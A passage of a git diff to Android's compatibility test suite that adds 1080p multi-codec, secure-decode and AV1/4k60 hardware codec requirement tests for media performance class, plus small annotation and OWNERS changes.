- format.setInteger(MediaFormat.KEY_WIDTH, 640);
- format.setInteger(MediaFormat.KEY_HEIGHT, 480);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
- } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
- format.setInteger(MediaFormat.KEY_WIDTH, 352);
- format.setInteger(MediaFormat.KEY_HEIGHT, 288);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
- } else {
- format.setInteger(MediaFormat.KEY_WIDTH, 176);
- format.setInteger(MediaFormat.KEY_HEIGHT, 144);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
- }
- codec.release();
- format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
- format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
- format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
- MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
- }
- return format;
- }
-
- public long calculateEncoderInitializationLatency() throws Exception {
- MediaFormat format = setUpFormat();
- if (mIsAudio) {
- mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
- mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
- } else {
- mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
- mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
- }
- setUpSource(mInputFile);
- MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
- long enqueueTimeStamp = 0;
- long dequeueTimeStamp = 0;
- long baseTimeStamp = System.nanoTime();
- mCodec = MediaCodec.createByCodecName(mEncoderName);
- resetContext(mIsAsync, false);
- mAsyncHandle.setCallBack(mCodec, mIsAsync);
- mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
- long configureTimeStamp = System.nanoTime();
- mCodec.start();
- long startTimeStamp = System.nanoTime();
- if (mIsAsync) {
- // We will keep on feeding the input to encoder until we see the first dequeued frame.
- while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
- Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
- if (element != null) {
- int bufferID = element.first;
- MediaCodec.BufferInfo info = element.second;
- if (info != null) {
- dequeueTimeStamp = System.nanoTime();
- dequeueOutput(bufferID, info);
- break;
- } else {
- if (enqueueTimeStamp == 0) {
- enqueueTimeStamp = System.nanoTime();
- }
- enqueueInput(bufferID);
- }
- }
- }
- } else {
- while (!mSawOutputEOS) {
- if (!mSawInputEOS) {
- int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
- if (inputBufferId > 0) {
- if (enqueueTimeStamp == 0) {
- enqueueTimeStamp = System.nanoTime();
- }
- enqueueInput(inputBufferId);
- }
- }
- int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
- if (outputBufferId >= 0) {
- dequeueTimeStamp = System.nanoTime();
- dequeueOutput(outputBufferId, outInfo);
- break;
- }
- }
- }
- queueEOS();
- waitForAllOutputs();
- mCodec.stop();
- mCodec.release();
- Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
- " Time for (create + configure) in ns: " + (configureTimeStamp - baseTimeStamp));
- Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
- " Time for (create + configure + start) in ns: " +
- (startTimeStamp - baseTimeStamp));
- Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
- " Time for (create + configure + start + first frame to enqueue) in ns: " +
- (enqueueTimeStamp - baseTimeStamp));
- Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
- " Time for (create + configure + start + first frame to dequeue) in ns: " +
- (dequeueTimeStamp - baseTimeStamp));
- long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
- return timeToConfigureMs;
- }
-}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index ec27bf9..4e82515 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -16,6 +16,7 @@
package android.mediapc.cts;
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
import static org.junit.Assert.assertTrue;
@@ -25,9 +26,11 @@
import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
import android.media.MediaFormat;
import android.mediapc.cts.common.Utils;
+import android.os.Build;
import android.util.Log;
import android.util.Pair;
+import org.junit.Assume;
import org.junit.Before;
import java.io.IOException;
@@ -49,6 +52,7 @@
static ArrayList<String> mMimeList = new ArrayList<>();
static Map<String, String> mTestFiles = new HashMap<>();
static Map<String, String> m720pTestFiles = new HashMap<>();
+ static Map<String, String> m1080pTestFiles = new HashMap<>();
static {
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
@@ -57,14 +61,18 @@
m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
- // Test VP9 and AV1 as well for Build.VERSION_CODES.S
- if (Utils.isSPerfClass()) {
+ // Test VP9 and AV1 as well for Build.VERSION_CODES.S and beyond
+ if (Utils.getPerfClass() >= Build.VERSION_CODES.S) {
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
}
+ m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+ m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+ m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+ m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
}
String mMime;
@@ -86,6 +94,11 @@
// Returns the list of hardware codecs for given mime
public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder) {
+ return getHardwareCodecsForMime(mime, isEncoder, false);
+ }
+
+ public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder,
+ boolean allCodecs) {
// All the multi-instance tests are limited to codecs that support at least 1280x720 @ 30fps
// This will exclude hevc constant quality encoders that are limited to max resolution of
// 512x512
@@ -93,7 +106,7 @@
fmt.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
ArrayList<MediaFormat> formatsList = new ArrayList<>();
formatsList.add(fmt);
- return selectHardwareCodecs(mime, formatsList, null, isEncoder);
+ return selectHardwareCodecs(mime, formatsList, null, isEncoder, allCodecs);
}
// Returns the max number of 30 fps instances that the given list of mimeCodecPairs
@@ -160,4 +173,30 @@
}
return REQUIRED_MIN_CONCURRENT_INSTANCES;
}
+
+ boolean isSecureSupportedCodec(String codecName, String mime) throws IOException {
+ boolean isSecureSupported;
+ MediaCodec codec = MediaCodec.createByCodecName(codecName);
+ isSecureSupported = codec.getCodecInfo().getCapabilitiesForType(mime).isFeatureSupported(
+ FEATURE_SecurePlayback);
+ codec.release();
+ return isSecureSupported;
+ }
+
+ boolean codecSupportsPP(String codecName, String mime, PerformancePoint reqPP)
+ throws IOException {
+ MediaCodec codec = MediaCodec.createByCodecName(codecName);
+ List<PerformancePoint> suppPPs =
+ codec.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities()
+ .getSupportedPerformancePoints();
+ assertTrue("Performance point not published by codec: " + codecName, suppPPs != null);
+ boolean codecSupportsReqPP = false;
+ for (PerformancePoint pp : suppPPs) {
+ if (pp.covers(reqPP)) {
+ codecSupportsReqPP = true;
+ }
+ }
+ codec.release();
+ return codecSupportsReqPP;
+ }
}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
index 31c069f..832f9d0 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertTrue;
+import android.media.MediaCodecInfo;
import android.media.MediaFormat;
import android.mediapc.cts.common.Utils;
import android.os.Build;
@@ -55,6 +56,7 @@
@RunWith(Parameterized.class)
public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
private static final String LOG_TAG = MultiDecoderPairPerfTest.class.getSimpleName();
+ private static final int REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE = 3;
private final Pair<String, String> mFirstPair;
private final Pair<String, String> mSecondPair;
@@ -74,7 +76,7 @@
final List<Object[]> argsList = new ArrayList<>();
ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
for (String mime : mMimeList) {
- ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
+ ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
for (String decoder : listOfDecoders) {
mimeTypeDecoderPairs.add(Pair.create(mime, decoder));
}
@@ -102,6 +104,9 @@
@CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
public void test720p() throws Exception {
Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+ Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+ isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+ isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
boolean hasVP9 = mFirstPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
mSecondPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
@@ -109,6 +114,69 @@
testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
}
+ /**
+ * This test calculates the number of 1080p 30 fps decoder instances that the given two
+ * (mime - decoder) pairs can support. Assigns the same number of instances to the two pairs
+ * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+ * concurrent sessions succeed in decoding with meeting the expected frame rate.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+ isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+ isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
+ testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+
+ /**
+ * Validates if hardware decoder pairs where one or both supports secure decode and required
+ * perf are present
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ // TODO(b/218771970) Add @CddTest annotation
+ public void testReqSecureDecodeSupport() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ Assume.assumeTrue("Skipping secure decode support tests if both are non-secure codecs",
+ isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+ isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
+
+ MediaCodecInfo.VideoCapabilities.PerformancePoint reqSecurePP =
+ new MediaCodecInfo.VideoCapabilities.PerformancePoint(1920, 1080, 30);
+
+ MediaCodecInfo.VideoCapabilities.PerformancePoint reqNonSecurePP =
+ new MediaCodecInfo.VideoCapabilities.PerformancePoint(1920, 1080,
+ 30 * REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE);
+
+ boolean codecSupportsReqPP = codecSupportsPP(mFirstPair.second, mFirstPair.first,
+ isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ? reqSecurePP :
+ reqNonSecurePP);
+
+ codecSupportsReqPP &= codecSupportsPP(mSecondPair.second, mSecondPair.first,
+ isSecureSupportedCodec(mSecondPair.second, mSecondPair.first) ? reqSecurePP :
+ reqNonSecurePP);
+
+
+ if (Utils.isTPerfClass()) {
+ assertTrue(
+ "Required Secure Decode Support required for MPC >= Android T, unsupported " +
+ "codec pair: " + mFirstPair.second + "," + mSecondPair.second,
+ codecSupportsReqPP);
+ } else {
+ DeviceReportLog log =
+ new DeviceReportLog("MediaPerformanceClassLogs", "SecureDecodeSupport");
+ log.addValue("Req Secure Decode Support pair: " + mFirstPair.second + "," +
+ mSecondPair.second, codecSupportsReqPP, ResultType.NEUTRAL, ResultUnit.NONE);
+ // TODO(b/218771970) Log CDD sections
+ log.setSummary("MPC 13: Secure Decode requirements", 0, ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ log.submit(InstrumentationRegistry.getInstrumentation());
+ }
+ }
+
private void testCodec(Map<String, String> testFiles, int height, int width,
int requiredMinInstances) throws Exception {
mTestFiles = testFiles;
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
index 1c1aeea..803ec62 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertTrue;
+import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
import android.media.MediaFormat;
import android.mediapc.cts.common.Utils;
import android.os.Build;
@@ -53,6 +54,7 @@
@RunWith(Parameterized.class)
public class MultiDecoderPerfTest extends MultiCodecPerfTestBase {
private static final String LOG_TAG = MultiDecoderPerfTest.class.getSimpleName();
+ private static final int REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES = 2;
private final String mDecoderName;
@@ -68,7 +70,7 @@
public static Collection<Object[]> inputParams() {
final List<Object[]> argsList = new ArrayList<>();
for (String mime : mMimeList) {
- ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
+ ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
for (String decoder : listOfDecoders) {
for (boolean isAsync : boolStates) {
argsList.add(new Object[]{mime, decoder, isAsync});
@@ -88,12 +90,60 @@
@CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
public void test720p() throws Exception {
Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
-
+ Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+ isSecureSupportedCodec(mDecoderName, mMime));
boolean hasVP9 = mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
}
+ /**
+ * This test validates that the decoder can support at least 6 concurrent 1080p 30fps
+ * decoder instances. Also ensures that all the concurrent sessions succeed in decoding
+ * with meeting the expected frame rate.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+ isSecureSupportedCodec(mDecoderName, mMime));
+ testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+
+ /**
+ * Validates if hardware decoder that supports required secure decode perf is present
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ // TODO(b/218771970) Add @CddTest annotation
+ public void testReqSecureDecodeSupport() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ Assume.assumeTrue("Skipping secure decode support tests for non-secure codecs",
+ isSecureSupportedCodec(mDecoderName, mMime));
+
+ PerformancePoint reqPP =
+ new PerformancePoint(1920, 1080, 30 * REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
+
+ boolean codecSupportsReqPP = codecSupportsPP(mDecoderName, mMime, reqPP);
+
+ if (Utils.isTPerfClass()) {
+ assertTrue(
+ "Required Secure Decode Support required for MPC >= Android T, unsupported " +
+ "codec: " + mDecoderName, codecSupportsReqPP);
+ } else {
+ DeviceReportLog log =
+ new DeviceReportLog("MediaPerformanceClassLogs", "SecureDecodeSupport");
+ log.addValue("Req Secure Decode Support: " + mDecoderName, codecSupportsReqPP,
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ // TODO(b/218771970) Log CDD sections
+ log.setSummary("MPC 13: Secure Decode requirements", 0, ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ log.submit(InstrumentationRegistry.getInstrumentation());
+ }
+ }
+
private void testCodec(Map<String, String> testFiles, int height, int width,
int requiredMinInstances) throws Exception {
mTestFile = testFiles.get(mMime);
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
index edc2d6c..01e68d3 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
@@ -109,6 +109,20 @@
testCodec(720, 1280, 4000000, requiredMinInstances);
}
+ /**
+ * This test calculates the number of 1080p 30 fps encoder instances that the given two
+ * (mime - encoder) pairs can support. Assigns the same number of instances to the two pairs
+ * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+ * concurrent sessions succeed in encoding.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-3,H-1-4")
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+
private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
throws Exception {
ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
index 3a2f1d9..28c7fbd 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
@@ -94,6 +94,18 @@
testCodec(720, 1280, 4000000, requiredMinInstances);
}
+ /**
+ * This test validates that the encoder can support at least 6 concurrent 1080p 30fps
+ * encoder instances. Also ensures that all the concurrent sessions succeed in encoding.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-3,H-1-4")
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+
private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
throws Exception {
ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
index d7d8445..9312637 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
@@ -119,6 +119,21 @@
testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
}
+ /**
+ * This test calculates the validates number of concurrent 1080p Transcode sessions that
+ * it can support by the (mime, decoder - mime, encoder) pairs. Creates maxInstances / 2
+ * Transcode sessions. If maximum instances is odd, creates one additional decoder which decodes
+ * to surface and render. And ensures that all the supported sessions succeed in
+ * transcoding/decoding with meeting the expected frame rate.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-5,H-1-6")
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES / 2);
+ }
+
private void testCodec(Map<String, String> testFiles, int height, int width,
int requiredMinInstances) throws Exception {
mTestFiles = testFiles;
diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
new file mode 100644
index 0000000..0afc209
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.media.MediaFormat.MIMETYPE_VIDEO_AV1;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaFormat;
+import android.mediapc.cts.common.Utils;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class VideoCodecRequirementsTest {
+ private static final String LOG_TAG = VideoCodecRequirementsTest.class.getSimpleName();
+ private static final String FILE_AV1_REQ_SUPPORT =
+ "dpov_1920x1080_60fps_av1_10bit_film_grain.mp4";
+
+ private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException {
+ Set<String> codecSet = new HashSet<>();
+ Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+ PerformancePoint PP4k60 = new PerformancePoint(3840, 2160, 60);
+ for (String codecMediaType : codecMediaTypes) {
+ ArrayList<String> hwVideoCodecs =
+ selectHardwareCodecs(codecMediaType, null, null, isEncoder);
+ for (String hwVideoCodec : hwVideoCodecs) {
+ MediaCodec codec = MediaCodec.createByCodecName(hwVideoCodec);
+ CodecCapabilities capabilities =
+ codec.getCodecInfo().getCapabilitiesForType(codecMediaType);
+ List<PerformancePoint> pps =
+ capabilities.getVideoCapabilities().getSupportedPerformancePoints();
+ for (PerformancePoint pp : pps) {
+ if (pp.covers(PP4k60)) {
+ codecSet.add(hwVideoCodec);
+ Log.d(LOG_TAG,
+ "Performance point 4k60 supported by codec: " + hwVideoCodec);
+ break;
+ }
+ }
+ codec.release();
+ }
+ }
+ return codecSet;
+ }
+
+ /**
+ * Validates AV1 hardware decoder is present and supports: Main 10, Level 4.1, Film Grain
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ // TODO(b/218771970) Add @CddTest annotation
+ public void testAV1HwDecoderRequirements() throws Exception {
+ MediaFormat format = MediaFormat.createVideoFormat(MIMETYPE_VIDEO_AV1, 1920, 1080);
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, 60);
+ ArrayList<MediaFormat> formats = new ArrayList<>();
+ formats.add(format);
+ ArrayList<String> av1HwDecoders =
+ selectHardwareCodecs(MIMETYPE_VIDEO_AV1, formats, null, false);
+ boolean oneCodecDecoding = false;
+ for (String codec : av1HwDecoders) {
+ Decode decode = new Decode(MIMETYPE_VIDEO_AV1, FILE_AV1_REQ_SUPPORT, codec, true);
+ double achievedRate = decode.doDecode();
+ if (achievedRate > 0) {
+ oneCodecDecoding = true;
+ }
+ }
+ if (Utils.isTPerfClass()) {
+ assertTrue("One AV1 HW decoder with supported features required for MPC >= Android T",
+ oneCodecDecoding);
+ } else {
+ int pc = oneCodecDecoding ? Build.VERSION_CODES.TIRAMISU : 0;
+ DeviceReportLog log =
+ new DeviceReportLog("MediaPerformanceClassLogs", "VideoCodecRequirements");
+ log.addValue("AV1DecoderFeatureSupport", oneCodecDecoding, ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ // TODO(b/218771970) Log CDD sections
+ log.setSummary(
+ "Video Codec Requirements: AV1 HW decoder: Main 10, Level 4.1, Film Grain", pc,
+ ResultType.HIGHER_BETTER, ResultUnit.NONE);
+ log.submit(InstrumentationRegistry.getInstrumentation());
+ }
+ }
+
+ /**
+ * Validates if a hardware decoder that supports 4k60 is present
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ // TODO(b/218771970) Add @CddTest annotation
+ public void test4k60Decoder() throws IOException {
+ Set<String> decoderSet = get4k60HwCodecSet(false);
+ boolean oneCodecSupportsRequiredPerformance = !decoderSet.isEmpty();
+
+ if (Utils.isTPerfClass()) {
+ assertTrue("At least one 4k60 HW decoder required for MPC >= Android T",
+ oneCodecSupportsRequiredPerformance);
+ } else {
+ int pc = oneCodecSupportsRequiredPerformance ? Build.VERSION_CODES.TIRAMISU : 0;
+ DeviceReportLog log =
+ new DeviceReportLog("MediaPerformanceClassLogs", "VideoCodecRequirements");
+ log.addValue("4k60DecodeHW", oneCodecSupportsRequiredPerformance, ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ // TODO(b/218771970) Log CDD sections
+ log.setSummary("Video Codec Requirements: 1 HW video decoder supporting 4K60", pc,
+ ResultType.HIGHER_BETTER, ResultUnit.NONE);
+ log.submit(InstrumentationRegistry.getInstrumentation());
+ }
+ }
+
+ /**
+ * Validates if a hardware encoder that supports 4k60 is present
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ // TODO(b/218771970) Add @CddTest annotation
+ public void test4k60Encoder() throws IOException {
+ Set<String> encoderSet = get4k60HwCodecSet(true);
+ boolean oneCodecSupportsRequiredPerformance = !encoderSet.isEmpty();
+
+ if (Utils.isTPerfClass()) {
+ assertTrue("At least one 4k60 HW encoder required for MPC >= Android T",
+ oneCodecSupportsRequiredPerformance);
+ } else {
+ int pc = oneCodecSupportsRequiredPerformance ? Build.VERSION_CODES.TIRAMISU : 0;
+ DeviceReportLog log =
+ new DeviceReportLog("MediaPerformanceClassLogs", "VideoCodecRequirements");
+ log.addValue("4k60EncodeHW", oneCodecSupportsRequiredPerformance, ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ // TODO(b/218771970) Log CDD sections
+ log.setSummary("Video Codec Requirements: 1 HW video encoder supporting 4K60", pc,
+ ResultType.HIGHER_BETTER, ResultUnit.NONE);
+ log.submit(InstrumentationRegistry.getInstrumentation());
+ }
+ }
+}
diff --git a/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java b/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
index 8a5d528..0e794d0 100755
--- a/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
+++ b/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
@@ -28,6 +28,7 @@
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
import android.quickaccesswallet.NoPermissionQuickAccessWalletService;
import android.quickaccesswallet.QuickAccessWalletActivity;
@@ -69,6 +70,7 @@
* Tests parceling of the {@link WalletCard}
*/
@RunWith(AndroidJUnit4.class)
+@AppModeFull
public class QuickAccessWalletClientTest {
private static final String SETTING_KEY = "lockscreen_show_wallet";
diff --git a/tests/tests/app.usage/OWNERS b/tests/tests/app.usage/OWNERS
index c81bc52..1913ea2 100644
--- a/tests/tests/app.usage/OWNERS
+++ b/tests/tests/app.usage/OWNERS
@@ -4,3 +4,4 @@
yamasani@google.com
per-file NetworkUsageStatsTest.java = file:/tests/tests/net/OWNERS
per-file CacheQuotaHintTest.java = lpeter@google.com
+per-file *Broadcast* = sudheersai@google.com
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/BroadcastResponseStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/BroadcastResponseStatsTest.java
new file mode 100644
index 0000000..98f8ca9
--- /dev/null
